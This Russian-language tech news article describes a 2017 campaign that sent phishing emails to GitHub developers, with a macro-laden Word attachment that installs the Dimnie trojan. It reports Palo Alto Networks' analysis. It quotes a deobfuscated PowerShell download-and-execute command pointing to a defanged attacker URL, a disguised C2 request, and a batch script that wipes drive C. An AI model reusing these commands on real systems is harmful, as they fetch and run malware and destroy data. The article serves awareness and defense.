Pull to refresh

Кто-то пытается взломать пользователей GitHub, которые работают под Windows

Reading time5 min
Views15K
С января 2017 года владельцы репозиториев GitHub и другие разработчики свободного программного обеспечения начали получать письма с вредоносным вложением. В письме некто говорит, что якобы заинтересовался репозиторием и может предложить работу над другим программным проектом: условия и расценки во вложении.

В одном из образцов вредоносной рассылки в клуджах зафиксированы российские почтовые серверы:

Return-Path: <ludv.jani-2015@vrg.se>
Received: from unknown (HELO mail.bsme-mos.ru) (95.163.65.54)
by ariel.informaction.com with SMTP; 27 Jan 2017 11:25:22 -0000
Received: from unknown (HELO o) (zayavka@bsme-mos.ru@94.23.58.202)
by mail.bsme-mos.ru with SMTP; 27 Jan 2017 14:25:17 +0300
Subject: question
Date: Fri, 27 Jan 2017 12:25:26 +0100
X-MSMail-Priority: Normal
X-Mailer: Microsoft Windows Live Mail 16.4.3528.331
X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3528.331
This is a multi-part message in MIME format.
------=_NextPart_000_25F3_01D27898.7064C4E0
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_25F4_01D27898.7064C4E0"

------=_NextPart_001_25F4_01D27898.7064C4E0
Content-Type: text/plain;
charset=«windows-1251»
Content-Transfer-Encoding: quoted-printable

Hey. I found your software is online. Can you write the code for my proje=
ct? Terms of reference attached below.
The price shall discuss, if you can make. Answer please.

------=_NextPart_001_25F4_01D27898.7064C4E0
Content-Type: text/html;
charset=«windows-1251»
Content-Transfer-Encoding: quoted-printable

(HTML omitted)

------=_NextPart_001_25F4_01D27898.7064C4E0--

------=_NextPart_000_25F3_01D27898.7064C4E0
Content-Type: application/octet-stream;
name=«PROJECT.gz»
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=«PROJECT.gz»

К письму приложен файл PROJECT.gz. Несмотря на расширение, он на самом деле представляет собой архив RAR, внутри которого находится документ PROJECT.doc в формате MS Word. Проверка этого документа в сервисе Virustotal предсказумо показывает 6 из 54 срабатываний антивирусами:

Arcabit: HEUR.VBA.Trojan.e
Fortinet: WM/Agent.559B!tr.dldr
NANO-Antivirus: Trojan.Ole2.Vbs-heuristic.druvzi
Qihoo-360: virus.office.gen.65
Symantec: W97M.Downloader
TrendMicro: W2KM_DLOADER.JCB

Хотя другие антивирусы ничего не находят, документ явно несёт вредоносную нагрузку.

Разработчик Джорджо Маоне (Giorgio Maone) первым сообщил о получении такого документа в январе этого года. Он даже получил два похожих письма, предыдущее было с вложением 2701.zip (внутри файл 2701.doc). Он говорит, что письмо как будто написано вручную, то есть похоже на таргетированную атаку.

Случай с Джорджо мог быть единственным, но это не так. В конце марта 2017 года специалисты по безопасности из компании Palo Alto Networks опубликовали отчёт, в котором сообщали о массовом характере рассылки. Им известно о нескольких случаях, когда владельцы репозиториев с GitHub получали такие письма.

Похоже, кто-то ведёт целенаправленную атаку против программистов, а именно — против авторов свободного программного обеспечения.

Palo Alto Networks провела подробный анализ атаки. Они пишут, что во всех случаях программистам предлагают работу и присылают один и тот же файл в формате .doc. Письмо выглядит примерно таким образом (к сожалению, клуджи не публикуют).

Hello,

My name is Adam Buchbinder, I saw your GitHub repo and i'm pretty amazed.
The point is that i have an open position in my company and looks like you
are a good fit.

Please take a look into attachment to find details about company and job.
Dont hesitate to contact me directly via email highlighted in the document below.


Thanks and regards,
Adam.

Стандартный файл .doc (SHA256: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e) содержит встроенный макрос, который запускает команду PowerShell на скачивание и исполнение файла.



После деобфускации команда выглядит следующим образом:

cmd.exe /c "powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('hxxp://nicklovegrove.co[.]uk/wp-content/margin2601_onechat_word.exe','%appdata%.exe');start-process '%appdata%.exe'"

Затем скачивается бинарный файл (SHA256: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22).

На первый взгляд, всё это похоже на стандартную методику заражения, но это не так. Скачиваемый бинарный файл очень удивил специалистов. Они обнаружили там экземпляр трояна Dimnie, который использовался несколько лет (предположительно, спецслужбами), но только недавно его удалось обнаружить. Специальные методы маскировки трафика и процессов позволяют ему эффективно скрываться от файрволов и антивирусов.

Cама программа внедряется в процесс ядра Windows, как и другие её модули. Ничего не сохраняется на диск. Коммуникации с командным сервисом не только зашифрованы, но и осуществляются в виде невинных DNS-запросов к серверам Google, чтобы не вызывать подозрение у файрволов. Вот как выглядит типичный запрос HTTP GET к серверу Google.



На самом деле указанный в запросе сервис Google PageRank (toolbarqueries.google.com) не функционирует с 2016 года и сейчас недоступен для публики.

Со стороны это выглядит невинно, так же как и ещё один DNS-запрос, который делает троян непосредственно перед запросом HTTP GET.



Два эти запроса по отдельности не вызывают никаких подозрений у файрвола или аналитика, который изучает трафик в системе. Но дело в том, что троян вставляет IP-адрес, полученный от DNS-сервера, в заголовок IP-пакета, который выглядит как запрос HTTP GET к серверу Google. Вот таким способом Dimnie удавалось долгое время избежать обнаружения. Говорят, он использовался в таргетированных атаках на российские цели в 2015-2016 годах.

В GET-запросе троян передаёт ключ AES 256 ECB, который затем используется для шифрования трафика.

GET http://toolbarqueries.google.com/search?sourceid=navclient-ff&features=Rank&client=navclient-auto-ff&ch=fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm&q=info:google.com HTTP/1.1

Получив с контрольного сервера зашифрованные модули, троян расшифровывает их на заражённой клиентской машине.

Дальнейшие коммуникации с сервером тоже эффективно маскируются под обычный трафик. Например, собранные на заражённой машине данные отправляются запросами HTTP POST к домену gmail.com. При этом данные присоединяются к заголовку image/jpeg, под видом графического изображения, и предварительно шифруются AES 256 в режиме ECB.



Но как и в случае с ранее упомянутым модулем скачивания, в заголовке жёстко забит IP-адрес, куда на самом деле направляются пакеты.

Поначалу троян делает скриншот ПК программиста и составляет список запущенных процессов. Всё это отправляется для изучения на удалённый сервер.



С трояном работает около десятка модулей разного назначения. Интересно, что один из них — модуль самоуничтожения, который стирает всю информацию на диске C:\.

@echo off
Title System need to reboot computer!
color 0c
Echo Auto Starting in 5 seconds
@ping 127.0.0.1 -n 5 -w 1000 > nul
@ping 127.0.0.1 -n %1% -w 1000 > nul
cls
Color 0e
Echo delete disk C
del C:\\ /s /q
@ping 127.0.0.1 -n 3 -w 1000 > nul
@ping 127.0.0.1 -n %1% -w 1000 > nul
cls
color 0c
Echo Remove directory
Rd C:\\ /s /q
@ping 127.0.0.1 -n 3 -w 1000 > nul
@ping 127.0.0.1 -n %1% -w 1000 > nul
cls
Msg * \SYSTEM ERROR!HARDDRIVE IS OUT OF ORDER!\;

Специалисты считают, что Dimnie удавалось несколько лет скрываться от обнаружения не только за счёт грамотной маскировки трафика и потому что он ничего не записывает на диск, но и потому что этот троян использовался главным образом против русскоязычных мишеней.

Остаётся непонятным, кто и зачем начал кампанию против разработчиков свободного ПО. Специалисты Palo Alto Networks сообщают, что у них нет информации, чтобы рассылка с вредоносным вложением приходило кому-то кроме разработчиков GitHub.

Но как шутят на форумах, если вы разработчик, который работает под Windows (троян использует PowerShell) и открывает документы Microsoft Word, то вы это заслужили.
Tags:
Hubs:
Total votes 34: ↑30 and ↓4+26
Comments23

Articles